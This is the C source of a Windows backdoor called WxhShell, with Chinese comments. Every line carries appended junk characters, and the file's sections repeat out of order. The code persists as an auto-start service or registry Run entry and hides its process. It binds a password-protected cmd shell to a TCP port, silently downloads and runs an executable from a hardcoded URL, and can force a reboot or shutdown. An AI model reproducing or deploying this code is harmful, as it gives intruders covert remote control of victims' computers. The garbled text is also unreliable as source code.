    if(Boot(SHUTDOWN)) t0I>5#*WU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lxCX-a`@p  
    else { zv|M*Wu  
    closesocket(wsh); b3P9Yoj-  
    ExitThread(0); GW:\l~ d  
    } @>gD1Q7v b  
    break; #Ul4&QVeg  
    } *+NZQjl'  
  // 获取shell Qh 1q  
  case 's': {  =05iW  
    CmdShell(wsh); KWtu,~O_u  
    closesocket(wsh); Sn+FV+D  
    ExitThread(0); u% r!?-z  
    break; c-ttds  
  } %zRiLcAT  
  // 退出 '?z9,oW{  
  case 'x': { #%:`p9p.S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?L8&(&1@VD  
    CloseIt(wsh); zL6 \p)y  
    break; y`\mQ48V  
    } }ty"fI3&iY  
  // 离开 kf}F}Ad:%  
  case 'q': { A> J1B(up  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LAizx^F  
    closesocket(wsh); [}jj<!9A_;  
    WSACleanup(); @'@s*9Nr  
    exit(1); 2Ti" s-  
    break; 3"f)*w7d  
        } V^9$t/c &  
  } |K'Gw}fX/  
  } ,^n-L&  
3j]UEA^  
  // 提示信息 d.L OyO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dl>*L  
} :h^O{"au^  
  } [vZfH!vLP  
0~(\lkh*!9  
  return; &NlS  =  
} wxH (&CB-{  
M-}j9,oR`  
// shell模块句柄 7W6eiUI'  
int CmdShell(SOCKET sock) `4$4bXrP'  
{ HKq2Js  
STARTUPINFO si; 97['VOh0  
ZeroMemory(&si,sizeof(si)); 6#OL ;Y]_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k'6<jEbk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Fl8w7LcF7  
PROCESS_INFORMATION ProcessInfo; i#CaKS  
char cmdline[]="cmd"; jc${.?m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ._8xY$l$  
  return 0; aW52.X z%8  
} j|3g(_v4W  
o+]Y=r2  
// 自身启动模式 CpUI|Rs  
int StartFromService(void) e{^:/WcYB  
{ J- @o@!o  
typedef struct ?/o2#iJx  
{ /%N31   
  DWORD ExitStatus; ws*~$x?7  
  DWORD PebBaseAddress; Z/XM `Cy  
  DWORD AffinityMask; (#f m (@T  
  DWORD BasePriority; r78u=r  
  ULONG UniqueProcessId; }:,o Y<  
  ULONG InheritedFromUniqueProcessId; "R@$Wu53|  
}   PROCESS_BASIC_INFORMATION; >reaIBT  
B FzcoBu-  
PROCNTQSIP NtQueryInformationProcess; $[HcHnf  
p?J~'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t(Q&H!~e   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Verbmeg&n  
GnSgO-$"  
  HANDLE             hProcess; { r< (t#  
  PROCESS_BASIC_INFORMATION pbi; W\ 1bE(AwZ  
o<C]+Nt,@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |_hioMVz  
  if(NULL == hInst ) return 0;  ~ LJ>WA  
!=~s/{$PE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .}L-c>o"o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &cv@Kihq(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0U>t>&,"  
*` @XKK  
  if (!NtQueryInformationProcess) return 0; C8bGae(  
0%GqCg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CjC'"+[w  
  if(!hProcess) return 0; p=mCK@  
y V 9]_k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z@>=&  
7- *( a  
  CloseHandle(hProcess); }[=xe(4]D  
(<d&BV-"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4 ~MJ4:  
if(hProcess==NULL) return 0; }skRlC  
m>Yo 9/XpZ  
HMODULE hMod; 7d M6;`V^  
char procName[255]; L5-T6CD  
unsigned long cbNeeded; $'J6#Vs  
hJC p0F9O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L&!g33J&  
+q`rz  
  CloseHandle(hProcess); t+W=2w&  
~RZJ/%6F  
if(strstr(procName,"services")) return 1; // 以服务启动 /el["l  
4."o.:8x  
  return 0; // 注册表启动 uI[-P}bSc&  
} }rj C_q  
#x4h_K Y  
// 主模块 ?[hy|r6$  
int StartWxhshell(LPSTR lpCmdLine) /P?|4D}<  
{ oPBg+Bh*  
  SOCKET wsl; yKe*<\  
BOOL val=TRUE; &(H)gjH  
  int port=0; %ojR?=ON  
  struct sockaddr_in door; -$L],q_S^  
|5<& r]xN  
  if(wscfg.ws_autoins) Install(); =x='<{jtgW  
'Ec:l(2Ec  
port=atoi(lpCmdLine); @~!-a s7  
6`s%%v  
if(port<=0) port=wscfg.ws_port; v3hQv)j)  
</+%R"`  
  WSADATA data; !%Hl#Pv}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (A]m=  
k+7M|t.?4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R$T[%AGZ.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5Sm5jRr  
  door.sin_family = AF_INET; Tjeo*n^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |;U}'|6  
  door.sin_port = htons(port); #^4>U&?  
MW",r;l<aM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #2lvfR|  
closesocket(wsl); :EQme0OW  
return 1; dm/\uE'l  
} Hl3XqR  
j J`Zz  
  if(listen(wsl,2) == INVALID_SOCKET) { .5KC'?  
closesocket(wsl); 53,,%Ue  
return 1; guUr1Ij  
} xT=kxyu  
  Wxhshell(wsl); eF8 aB?&"  
  WSACleanup(); z|DA _dG  
f9 l<$l  
return 0; o {Xw Li  
|peMr#  
} z[|PsC3i:  
aaf_3UH.B  
// 以NT服务方式启动 $cJN9|$6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) avxn}*:X.  
{ ^pQo`T6  
DWORD   status = 0; k+q6U[ce  
  DWORD   specificError = 0xfffffff; OnPy8mC  
C)KtM YA,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e??{&[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /|u]Y/ *  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }x#P<d(  
  serviceStatus.dwWin32ExitCode     = 0;  wc+N  
  serviceStatus.dwServiceSpecificExitCode = 0; io+7{B=u$  
  serviceStatus.dwCheckPoint       = 0; nnd-pf-  
  serviceStatus.dwWaitHint       = 0; 1{Alj27  
Gs=a(0 0i?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OJ_2z|f<  
  if (hServiceStatusHandle==0) return; Z1V'NJI+  
z?t(+^  
status = GetLastError(); O[hbu![  
  if (status!=NO_ERROR) WKrZTPD'm  
{ X%9xuc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M ly z><  
    serviceStatus.dwCheckPoint       = 0; J?Ep Nie  
    serviceStatus.dwWaitHint       = 0; MVeQ5c(  
    serviceStatus.dwWin32ExitCode     = status; 9+is?Pj  
    serviceStatus.dwServiceSpecificExitCode = specificError; wx"6",M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rvz.ym:F  
    return; i[t=@^|  
  } 4 _U,-%/  
I_6` Z 0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E_' n4@}Cx  
  serviceStatus.dwCheckPoint       = 0; 3@cJ=   
  serviceStatus.dwWaitHint       = 0; M%5$-;6~_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g7U:A0Z  
} !NAX6m  
7f\^VG  
// 处理NT服务事件,比如:启动、停止 zloaU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J2 rLsNC]0  
{ =<'iLQb1  
switch(fdwControl) 0rm;)[SjF  
{ b gc<)=  
case SERVICE_CONTROL_STOP: |nH0~P#!  
  serviceStatus.dwWin32ExitCode = 0; rIFC#Jd/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }AsF\W+5  
  serviceStatus.dwCheckPoint   = 0; :D+ SY  
  serviceStatus.dwWaitHint     = 0; iUG/   
  { nog\,NT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i{FC1tVeL_  
  } 9hs{uxwuEE  
  return; HlL@{<  
case SERVICE_CONTROL_PAUSE: 2-E71-J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {O&liU4  
  break; Lj Q1ar\  
case SERVICE_CONTROL_CONTINUE: 4tTZkJc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q'V{vFfY%  
  break; ot+~|Dl  
case SERVICE_CONTROL_INTERROGATE: *1)NABp6D  
  break; qQ DFg`  
}; 2#:]%y;\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uF3p1by  
} HToN+z%w3H  
zkMO3w>  
// 标准应用程序主函数 qp_ `Fj:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /GSI.tO  
{ JdYF&~  
PKM$*_LcGI  
// 获取操作系统版本 pnA]@FW  
OsIsNt=GetOsVer(); 5Kw?SRFH/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OO wA{]gK  
m',_k Y3  
  // 从命令行安装 '=b&)HbeK  
  if(strpbrk(lpCmdLine,"iI")) Install(); OI}HvgV^!  
\HQb#f,  
  // 下载执行文件 DF[b?  
if(wscfg.ws_downexe) { H6JMN1#t$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Jx9%8Ek  
  WinExec(wscfg.ws_filenam,SW_HIDE); vzm4  
} E|4XQ|B@  
2V"gqJHv  
if(!OsIsNt) { n`KXJ?t  
// 如果时win9x,隐藏进程并且设置为注册表启动 |AfQ_iT6c  
HideProc(); \\G6c4 fC  
StartWxhshell(lpCmdLine); ,M h/3DPgE  
} O/^w! :z'  
else 0?Wf\7  
  if(StartFromService()) QRHm |f9_C  
  // 以服务方式启动 2[YD&  
  StartServiceCtrlDispatcher(DispatchTable); ;)]zv\fC  
else 4qz{ D"M  
  // 普通方式启动 iY'hkrw  
  StartWxhshell(lpCmdLine); JiLrwPex[  
w@ylRq  
return 0; kJeOlO[  
} U1|4vd9  
)* nbEZm@  
'*ICGKoT  
f -nC+   
=========================================== FC(cXPX}  
'C>SyU  
i8 ):0  
 Y*}>tD;  
>(ww6vk2  
+}0*_VW  
" eC`f8=V  
Jc?ssm\%  
#include <stdio.h> 8=o(nFJw  
#include <string.h> +2 o|#`)i  
#include <windows.h> h>%JG'DV  
#include <winsock2.h> 842+KLS  
#include <winsvc.h> 2b,TkG8K  
#include <urlmon.h> @Be:+01z  
aw"%B-N \  
#pragma comment (lib, "Ws2_32.lib") RTY4%6]O  
#pragma comment (lib, "urlmon.lib") 7%!KAtc  
hPpXB:(-0  
#define MAX_USER   100 // 最大客户端连接数 ;k%sKVP  
#define BUF_SOCK   200 // sock buffer HPdwx V  
#define KEY_BUFF   255 // 输入 buffer I^Jp )k*z  
GXK?7S0H  
#define REBOOT     0   // 重启 &&S4x  
#define SHUTDOWN   1   // 关机 eRy'N|'  
YY<?w  
#define DEF_PORT   5000 // 监听端口 ^k<$N  
RWQW/Gw x  
#define REG_LEN     16   // 注册表键长度  Q<ExfJm  
#define SVC_LEN     80   // NT服务名长度 QGj5\{E_  
mT~>4xi0  
// 从dll定义API 5nq-b@?L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UnF4RF:A2&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VEEeQy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {-`OE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /)4r2x  
,T~5iLKY  
// wxhshell配置信息 i4r~eneP  
struct WSCFG { ^JDV4>S\  
  int ws_port;         // 监听端口 SW'KYzn  
  char ws_passstr[REG_LEN]; // 口令 <d`UifqD  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6i9I 4*'  
  char ws_regname[REG_LEN]; // 注册表键名 2^M+s\p  
  char ws_svcname[REG_LEN]; // 服务名 ^ED>{UiNI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Df3v"iCq}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h1o+7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h#ot)m|I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E+Mdl*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b}*bgx@<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &Q+V I/p  
H=RV M  
}; &D w~Jq|  
]~Qkg+>'&  
// default Wxhshell configuration /iuNdh  
struct WSCFG wscfg={DEF_PORT, GZX!iT  
    "xuhuanlingzhe", :uDB3jN[  
    1, N,Bs% p#1  
    "Wxhshell", qM !q,Q  
    "Wxhshell", )II,HT-LY  
            "WxhShell Service", *)D*iU&  
    "Wrsky Windows CmdShell Service", kP@OIhRe  
    "Please Input Your Password: ", OSIp  
  1, R0d|j#vP  
  "http://www.wrsky.com/wxhshell.exe", oXkhj,{y5  
  "Wxhshell.exe" M=`Se&-M  
    }; O;?~#E<6w  
=V 7w CW  
// 消息定义模块 KptLeb:Om  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .. TjEBp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <F & hfy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'B6H/d>  
char *msg_ws_ext="\n\rExit."; bQjHQ"G  
char *msg_ws_end="\n\rQuit."; hzo,.hS's  
char *msg_ws_boot="\n\rReboot..."; :/l   
char *msg_ws_poff="\n\rShutdown..."; 1&"1pH  
char *msg_ws_down="\n\rSave to "; 0^Cx`xdX:  
S c Kfr  
char *msg_ws_err="\n\rErr!"; @cGql=t  
char *msg_ws_ok="\n\rOK!"; bM3e7olWS  
AR3=G>hO,  
char ExeFile[MAX_PATH]; L"/ato  
int nUser = 0; e,UgTxZ  
HANDLE handles[MAX_USER]; ^D[;JV  
int OsIsNt; k>hZ  
iUBni&B  
SERVICE_STATUS       serviceStatus; U.(_n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r1atyK  
1dsxqN(:  
// 函数声明 '=* 5C{  
int Install(void); Ft !~w#&-  
int Uninstall(void); 59 Y=VS  
int DownloadFile(char *sURL, SOCKET wsh); 4]KceE  
int Boot(int flag); H4Ek,m|c  
void HideProc(void); L1i> %5:g  
int GetOsVer(void); )D*xOajo+l  
int Wxhshell(SOCKET wsl); &W!@3O{~.  
void TalkWithClient(void *cs); a<.@+sj{  
int CmdShell(SOCKET sock); iNSJOS  
int StartFromService(void); V'/%)oU\"  
int StartWxhshell(LPSTR lpCmdLine); kyB]fmS  
a $:N9&P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c'R|Wyf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v4aGL<SO  
M6!brj\[|  
// 数据结构和表定义 7^=jv~>wP  
SERVICE_TABLE_ENTRY DispatchTable[] = =^vUb  
{ @7'gr>_E  
{wscfg.ws_svcname, NTServiceMain}, B=|sLs`I  
{NULL, NULL} Hefqzu  
}; {!h[@f4  
>,vuC4v-  
// 自我安装 .R5z>:A  
int Install(void) j(JI$  
{ E}2[P b)e  
  char svExeFile[MAX_PATH]; h+(s/o?\  
  HKEY key; X ii#Qtd.  
  strcpy(svExeFile,ExeFile); IA `  
LJ3UB  
// 如果是win9x系统,修改注册表设为自启动 D I[Ee?  
if(!OsIsNt) { p<34}iZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z9I./s9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~O$]y5  
  RegCloseKey(key); kw'D2692  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B,T.bgp\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `^vD4qD|  
  RegCloseKey(key); :Ej)A fS  
  return 0; b\Ub<pE  
    } 1| DI'e[X  
  } c3dZ1v  
} 'QU ?O[CH  
else { =`H( `2  
jN0v<_PJED  
// 如果是NT以上系统,安装为系统服务 w2L)f,X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $h9!"f[|j  
if (schSCManager!=0) "o^zOU  
{ [~wcHE  
  SC_HANDLE schService = CreateService dM$S|, H  
  ( M(f'qFY=K  
  schSCManager, QNFrkel  
  wscfg.ws_svcname, VuW19-G  
  wscfg.ws_svcdisp, r_m&Jl@4  
  SERVICE_ALL_ACCESS, [:qX3"B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jo~vOu  
  SERVICE_AUTO_START, U"]i.J1  
  SERVICE_ERROR_NORMAL, ntejFy9_  
  svExeFile, v( B4Bz2  
  NULL, o ++Hdvai  
  NULL, C7PiuL?  
  NULL, l ,.;dw  
  NULL, XjbK!.  
  NULL 6"(&lK\^  
  ); ~@;7}Aag  
  if (schService!=0) f9$q.a*  
  { IYPLitT  
  CloseServiceHandle(schService); w=$_',5#Z  
  CloseServiceHandle(schSCManager); RI=B(0 A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 76/%Py|  
  strcat(svExeFile,wscfg.ws_svcname); aXagiz\;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Wwz{98,K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -j,o:ng0  
  RegCloseKey(key); }1wuH  
  return 0; I_rVeMw=  
    } Fz% n!d  
  } XEI]T~  
  CloseServiceHandle(schSCManager); 5Fl|=G+3@g  
} u[DV{o  
} n9^zAcUbAW  
AdNsY/Y(  
return 1; B|&<  
} pifgt  
Fh'Jb*|Q  
// 自我卸载 h! <8=V(  
int Uninstall(void) $&!U&uMt  
{ Tp7?:YY|  
  HKEY key; .(-3L9T}  
Sy_M!`B  
if(!OsIsNt) { 7vFqO;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .\ZxwD|  
  RegDeleteValue(key,wscfg.ws_regname); :lAR;[WFS  
  RegCloseKey(key); (hoqLL\}k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xjYFTb}!  
  RegDeleteValue(key,wscfg.ws_regname); ;z68`P-  
  RegCloseKey(key); =3'wHl  
  return 0; _u0dt) $  
  } h| Ih4  
} Sa0\9 3oa  
} 0Ju{6x(|  
else { >Vvc55z  
Evc 9k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &}r932  
if (schSCManager!=0) KB^IGF  
{ 5eYCnc9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1^COR+>L  
  if (schService!=0) uD"Voh|]=  
  { =ZQIpc  
  if(DeleteService(schService)!=0) { IYWD_}_ $  
  CloseServiceHandle(schService); A{QS+fa/  
  CloseServiceHandle(schSCManager); 19S,>  
  return 0;  x^"OH  
  } @;0Ep 0[  
  CloseServiceHandle(schService); -3fvO~  
  } P1kd6]s  
  CloseServiceHandle(schSCManager); seq$]  
} FD<~?-  
} 1gC=xMAT  
b+3pu\w `  
return 1; <Wd$6  
} }\W3a_,v)  
7>nA;F 8_  
// 从指定url下载文件 !q X 7   
int DownloadFile(char *sURL, SOCKET wsh) "elh~K  
{ vv u((b  
  HRESULT hr; {9)f~EbM!  
char seps[]= "/"; =k'dbcfO$9  
char *token; mXr)lA  
char *file; &zZSWNW  
char myURL[MAX_PATH]; ^%L$$V nG  
char myFILE[MAX_PATH]; 3eB2= _V`  
iG ;6e~p  
strcpy(myURL,sURL); x~W&a*WNT  
  token=strtok(myURL,seps); ()r DM@  
  while(token!=NULL) 7G/"!ePW6`  
  { pO^ 6p%  
    file=token; 4&\m!s  
  token=strtok(NULL,seps); @*oi1_q  
  } TzOf&cs/r  
tFGLqR%/  
GetCurrentDirectory(MAX_PATH,myFILE); "Xm'(c(  
strcat(myFILE, "\\"); `27? f$,  
strcat(myFILE, file); Kl* ##qw!  
  send(wsh,myFILE,strlen(myFILE),0); 9u9#&xx  
send(wsh,"...",3,0); "x{S3v4Rb5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GXAcy OV  
  if(hr==S_OK) Uz0mSfBp  
return 0; cIgF]My*D@  
else ' o 5,P/6  
return 1; b;yhgdFx  
"0 v]O~s  
} u@o3p*bQ  
fROhn}<**[  
// 系统电源模块 mBNa;6w?{*  
int Boot(int flag) Z#F2<*+Pe  
{ eq"~by[Uq  
  HANDLE hToken; ^}WeBU  
  TOKEN_PRIVILEGES tkp; @g{=f55  
u+Li'Ug  
  if(OsIsNt) { d.{RZq2cp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1:,aFp>qr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mJT7e  
    tkp.PrivilegeCount = 1; ua0k)4|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Sh"} c2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w,\Ua&>4  
if(flag==REBOOT) { 03MB,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZXco5,1  
  return 0; k -SUp8}g  
} Dr;@)  
else { fD!O aK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  ~d }-  
  return 0; L<E`~\C'  
} bNqjjg  
  } _-EHG  
  else { t+vn.X+&  
if(flag==REBOOT) { q* m%Fv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W2n%D& PE  
  return 0; "xh]>_;&'  
} ~<|xS  
else { 2LgRgY{Bl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~oOOCB  
  return 0; TfJB;  
} c=ZX7U  
} E;h#3 B9  
Q.!8q3`  
return 1; ^*iZN =\  
} 1{DHlyA6g  
)9Jt550(  
// win9x进程隐藏模块 md<%Z4+  
void HideProc(void) 8zr)oQ:  
{ t.]oLG22r  
qD%Jf4.0j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W1Ht8uYG3  
  if ( hKernel != NULL ) d(h`bOjI  
  { + ('jqbV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JK,k@RE y]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JeiW z1t  
    FreeLibrary(hKernel); BM:je(*p  
  } o\2#o5#  
];IUiS1  
return; KSLyU1W  
} -FJ 5N}R  
65MR(+3  
// 获取操作系统版本 {+Eq{8m`  
int GetOsVer(void) NC0x!tJ#7  
{ bGDV9su  
  OSVERSIONINFO winfo; 7XdLZ4ub  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @ij}|k%*  
  GetVersionEx(&winfo); nE,"3X"   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _w(SHWh2  
  return 1; (zUERw\a X  
  else c,e 0+  
  return 0; _pW\F(+8  
} '*W/Bett  
GCc@ :*4[  
// 客户端句柄模块 w(s"r p}  
int Wxhshell(SOCKET wsl) eRD s?n3F  
{ mw.9cDf  
  SOCKET wsh; JgEpqA12  
  struct sockaddr_in client; qdzc"-gH`  
  DWORD myID; E_-CsL%  
KbSIKj  
  while(nUser<MAX_USER) ]_j{b)t  
{ C7,Ol0`v  
  int nSize=sizeof(client); /f_lWr:9l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l 4(-yWC$H  
  if(wsh==INVALID_SOCKET) return 1; #Ey!?Z  
wz;IKdk[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Dk8" H >*  
if(handles[nUser]==0) .|cQ0:B[  
  closesocket(wsh); 7+@:wX\  
else l9#vr  
  nUser++; ~^G k7  
  } @TsOc0?-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }F**!%4d  
h@/c76}f6p  
  return 0; jF{zcYU  
} Z&YW9de@  
u|APx8?"o  
// 关闭 socket A{Pp`*l  
void CloseIt(SOCKET wsh) Fn$EP:>  
{ +.5 /4?  
closesocket(wsh); G[)QGZ}8b  
nUser--; HLa|yc B%  
ExitThread(0); #~ UG9@a  
} Fb VtyQz  
DTPYCG&%  
// 客户端请求句柄 h9RG?r1  
void TalkWithClient(void *cs) 3\G&fb|?}R  
{ U!TFFkX[  
<e)3 j6F!  
  SOCKET wsh=(SOCKET)cs; mRFcZ.7  
  char pwd[SVC_LEN];  g&#.zJ[-  
  char cmd[KEY_BUFF]; I[G<aI!  
char chr[1]; D8qZh1w%A|  
int i,j; 5&\Q0SX(~  
#8QQZdC8`  
  while (nUser < MAX_USER) { :J5xO%WA(  
P$4G2>D8dg  
if(wscfg.ws_passstr) { n ;y<!L7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v|"Nx42  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rx CSs  
  //ZeroMemory(pwd,KEY_BUFF); ) j_g*<  
      i=0; NAlYfbp  
  while(i<SVC_LEN) { +t})tDPXw  
a3sXl+$D@  
  // 设置超时 ?(n|ykXwc  
  fd_set FdRead; la[xbv   
  struct timeval TimeOut; [0w @0?[  
  FD_ZERO(&FdRead); `c ^2  
  FD_SET(wsh,&FdRead); u+~Ta  
  TimeOut.tv_sec=8; p{[Ol  
  TimeOut.tv_usec=0; *O+G}_}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /MO|q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {YT!vD9.  
Yu>VW\Fb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8S"vRR  
  pwd=chr[0]; :"#EQq]ct  
  if(chr[0]==0xd || chr[0]==0xa) { S1.w^Ccy  
  pwd=0; 49E<`f0  
  break; wWQv]c%  
  } SoI"a^fY  
  i++; Kzfa4C  
    } )#N)w5DU  
" +'E  
  // 如果是非法用户,关闭 socket c~K^ooS-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PTXy:>]M  
} TL U^ad#9E  
_p"nR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hS/oOeG<Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6Xu8~%i  
N=YRYU o  
while(1) { 3i/$YX5@  
$*tq$DZ4&  
  ZeroMemory(cmd,KEY_BUFF); 3M=ym.  
R_e{H^pY^  
      // 自动支持客户端 telnet标准   zB kS1qMn  
  j=0; Q-k{Lqa-  
  while(j<KEY_BUFF) { mFC0f?nr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bwR24>8lP  
  cmd[j]=chr[0]; :UGc6  
  if(chr[0]==0xa || chr[0]==0xd) { . T6fPEb  
  cmd[j]=0; q$(@  
  break; 5*l~7R  
  } (,#Rj$W  
  j++; vr+O)/P})  
    } eZ#nZB  
BWamF{\d1a  
  // 下载文件 O]o `! c  
  if(strstr(cmd,"http://")) { B{^o}:e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HS =qK  
  if(DownloadFile(cmd,wsh)) uO%G,b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \$n?J(N  
  else YKk?BQ"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  c %w h  
  } sDL@e33Yb  
  else { UT|FV twO  
5-3`@ (/  
    switch(cmd[0]) { ]PJb 9$f2  
  UE^_SZ  
  // 帮助 tkx1iBW=  
  case '?': { ;3wj(o0  
